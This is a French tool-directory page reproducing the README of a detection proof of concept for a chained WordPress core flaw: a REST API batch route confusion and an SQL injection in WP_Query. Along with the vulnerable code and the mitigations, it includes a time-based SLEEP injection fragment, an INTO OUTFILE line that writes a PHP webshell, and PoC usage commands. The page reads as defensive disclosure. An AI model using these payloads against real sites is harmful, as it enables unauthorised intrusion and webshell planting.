Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/senanfurkan/wordpress-cve-2026-63030
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubsenanfurkan/wordpress-cve-2026-63030

wordpress-cve-2026-63030

RCE pré-authentification dans le noyau WordPress via confusion de route batch de l'API REST + SQLi WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC de détection.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
4il y a 1 moisPas encore vérifié

Confusion de route batch de l'API REST WordPress + Injection SQL → RCE

Pré-authentification, sans authentification, aucun plugin requis. Fonctionne contre une installation WordPress standard via le point de terminaison batch de l'API REST.

CVECVE-2026-63030 (confusion de route → RCE) + CVE-2026-60137 (SQLi)
GHSAGHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf
DécouvreurAdam Kues — Assetnote / Searchlight Cyber (surnommé « wp2shell »)
Versions concernéesWordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (chaîne RCE complète) · 6.8.0 – 6.8.5 (SQLi uniquement)
Corrigé dans6.8.6, 6.9.5, 7.0.2, 7.1-beta2
CVSSCritique (chaîne RCE) / Modéré (SQLi seul)
Blog du chercheurhttps://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/

1. Vue d'ensemble

Deux bogues dans le cœur de WordPress, qui peuvent être enchaînés en exécution de code à distance sans authentification :

  1. Injection SQL dans WP_Query lorsque author__not_in est une chaîne plutôt qu'un tableau — la garde de nettoyage is_array() est ignorée et la valeur brute est interpolée dans une clause NOT IN (...).
  2. Confusion de route batch dans WP_REST_Server::serve_batch_request_v1() — les sous-requêtes WP_Error sont poussées dans $validation[] mais pas dans $matches[], provoquant un décalage d'index de +1. La sous-requête i finit par être dispatchée avec le gestionnaire de la sous-requête i+1.

Aucun des deux bogues ne suffit seul : l'API REST nettoie author_exclude (type: array, items: integer) avant qu'il n'atteigne WP_Query, et le point de terminaison batch rejette les sous-requêtes GET (enum: POST, PUT, PATCH, DELETE). En les enchaînant via une double confusion, on contourne les deux défenses et on atteint la SQLi sans authentification.

2. Causes racines

2.1 Injection SQL — src/wp-includes/class-wp-query.php (CVE-2026-60137)

Vulnérable (6.9.4) :

root@kitploit:~
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {   // string → skipped
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

Lorsque author__not_in est une chaîne, la branche is_array() est ignorée ; (array) "payload" donne ["payload"] ; implode(',', ...) renvoie la chaîne brute, qui est interpolée directement dans la requête SQL.

Correctif (6.9.5) : utiliser wp_parse_id_list() qui accepte toute forme d'entrée et renvoie une liste d'entiers nettoyés.

2.2 Confusion de route batch — src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)

root@kitploit:~
// Validation loop
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
                       // ❌  $matches[] NOT appended
        $validation[] = $single_request;
        continue;
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
}

// Dispatch loop  —  indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
    ...
    $match = $matches[ $i ];          // ← off-by-one after a WP_Error
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}

Une seule sous-requête WP_Error (par ex. un chemin mal formé) en position 0 décale chaque entrée suivante d'un cran. La requête i est alors dispatchée avec le gestionnaire de la requête i+1.

Correctif (6.9.5) : ajouter $matches[] = $single_request; également pour le cas d'erreur. Un durcissement supplémentaire court-circuite rest_api_loaded() / serve_request() lorsqu'un dispatch est déjà en cours.

3. La chaîne de double confusion

root@kitploit:~
┌──────────────────────────────────────────────────────────────────────┐
│  OUTER batch  (POST /wp-json/batch/v1)                              │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  path = "/wp/v2/categories" → carries nested batch in body     │
│         body = { "name": "x",                                       │
│                   "requests": [ INNER_BATCH ] }                     │
│         Validated against categories → "requests" field untouched   │
│  [2]  path = "/batch/v1"        → batch handler → shifts onto [1]   │
│                                                                     │
│  Outer shift: request[1] dispatched with request[2]'s handler =     │
│  serve_batch_request_v1.  The batch endpoint has NO                 │
│  permission_callback → fires unauthenticated.  request[1]'s body    │
│  was validated against the *categories* route, so the nested        │
│  sub-requests were NEVER checked against the batch method enum →    │
│  inner sub-requests may use GET.                                    │
├──────────────────────────────────────────────────────────────────────┤
│  INNER batch  (processed inside serve_batch_request_v1)             │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  GET /wp/v2/categories                                      │
│         ?author_exclude=<SQLi_PAYLOAD>                             │
│       Validated against categories → author_exclude NOT sanitised   │
│  [2]  GET /wp/v2/posts          → get_items handler → shifts to [1]│
│                                                                     │
│  Inner shift: inner[1] dispatched with inner[2]'s handler =        │
│  WP_REST_Posts_Controller::get_items.  The unsanitised string       │
│  author_exclude is mapped to author__not_in and passed to           │
│  WP_Query  →  SQL INJECTION.                                        │
└──────────────────────────────────────────────────────────────────────┘

Le fragment SQL résultant est :

root@kitploit:~
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )

SLEEP(N) se déclenche une fois par ligne d'article correspondante, donc le délai total est d'environ N × <nombre_d_articles_publiés> secondes.

De la SQLi au RCE (« wp2shell »)

L'injection de type SELECT uniquement (pas de requêtes empilées, $wpdb utilise mysqli_query) permet tout de même d'obtenir un RCE sur les piles LAMP typiques lorsque l'utilisateur MySQL dispose du privilège FILE — ce qui est le cas par défaut sur de nombreux hébergeurs mutualisés et serveurs auto-gérés :

root@kitploit:~
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*

écrit un webshell PHP dans la racine web, accessible à /x.php.

Les chemins alternatifs (sans avoir besoin du privilège FILE) incluent la lecture du hash du mot de passe administrateur via une SQLi aveugle UNION/booléenne et le téléversement d'un plugin malveillant via l'interface d'administration authentifiée.

4. Détection / PoC

root@kitploit:~
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
                            [--confusion-only] [--no-color] [-v]

Le PoC effectue deux tests non destructifs :

TestMéthodeSûr ?
root@kitploit:~
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/

# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3

# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only

# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color

Exemple de sortie contre une instance vulnérable 6.9.4 :

root@kitploit:~
[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
    Double confusion active: outer level bypasses batch method enum,
    inner level dispatches categories params with the posts handler.

[*] Time-based blind SQLi detection (SLEEP=3s)
    baseline: 0.04s
    payload:  9.07s  (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).

Aucun délai / aucune confusion structurelle ⇒ corrigé (6.8.6 / 6.9.5 / 7.0.2).

Prérequis

  • Python ≥ 3.9
  • requests (pip install requests)

5. Reproduction

Le plus simple pour reproduire est d'utiliser les images Docker officielles (l'auto-mise à jour aura corrigé la plupart des instances en production dans les heures suivant la divulgation) :

root@kitploit:~
docker network create wp
docker run -d --name wp-db --network wp \
  -e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
  -e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
  -e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
  -e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
  wordpress:6.9.4-php8.2

# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
  --data-urlencode weblog_title=T \
  --data-urlencode user_name=admin \
  --data-urlencode admin_password=adminpassword123 \
  --data-urlencode admin_password2=adminpassword123 \
  --data-urlencode pw_weak=1 \
  --data-urlencode [email protected] \
  --data-urlencode blog_public=0

python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3

Pour l'étape INTO OUTFILE → RCE, accordez le privilège FILE et assurez-vous que le processus de la base de données peut écrire dans la racine web (LAMP sur un seul serveur, ou un volume partagé dans Docker) :

root@kitploit:~
GRANT FILE ON *.* TO 'wp'@'%';

6. Atténuation

  1. Mettez à jour immédiatement vers 6.8.6 / 6.9.5 / 7.0.2 (ou plus récent). WordPress applique automatiquement les versions mineures et de sécurité par défaut (WP_AUTO_UPDATE_CORE), donc la plupart des sites en production sont déjà corrigés.
  2. Si vous ne pouvez pas mettre à jour immédiatement, bloquez l'accès anonyme au point de terminaison batch au niveau du WAF / du reverse-proxy :
    • POST /wp-json/batch/v1
    • POST /index.php?rest_route=/batch/v1
  3. Révoquez le privilège FILE de l'utilisateur de la base de données WordPress :
    root@kitploit:~
    REVOKE FILE ON *.* FROM 'wp_user'@'%';
    
  4. Assurez-vous que secure_file_priv est défini (non vide) :
    root@kitploit:~
    secure_file_priv = /var/lib/mysql-files
    

7. Chronologie

DateÉvénement
2026-07-17WordPress 6.8.6 / 6.9.5 / 7.0.2 publiés
2026-07-17GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf publiés
2026-07-17Assetnote / Searchlight Cyber publie l'avis « wp2shell » + le vérificateur https://wp2shell.com

8. Références

  • Avis WordPress
    • https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
    • https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
  • Analyse du découvreur
    • https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • Diff des correctifs (6.9.4 → 6.9.5)
    • src/wp-includes/class-wp-query.php
    • src/wp-includes/rest-api.php
    • src/wp-includes/rest-api/class-wp-rest-server.php
  • Site du vérificateur
    • https://wp2shell.com/

9. Divulgation responsable

Ce dépôt contient uniquement un PoC de détection — il utilise une SQLi aveugle temporelle et l'inspection structurelle des réponses. Il n'extrait pas de données, n'écrit pas de fichiers et ne tente pas de RCE. La vulnérabilité avait déjà été corrigée et divulguée publiquement par WordPress et le chercheur d'origine avant la publication de ce code.

À utiliser uniquement contre des systèmes que vous possédez ou que vous êtes autorisé à tester.

Licence

MIT — voir LICENSE.

Télécharger l’outil
Confusion de route (CVE-2026-63030)Structurelle — vérifie que la requête interne [1] (categories) est dispatchée avec le gestionnaire des articles en contrôlant la présence de champs propres aux articles dans le corps de la réponseOui
SQLi (CVE-2026-60137)Aveugle temporelle — injecte SLEEP(N) via author_exclude et mesure la latence par rapport à une référence bénigneOui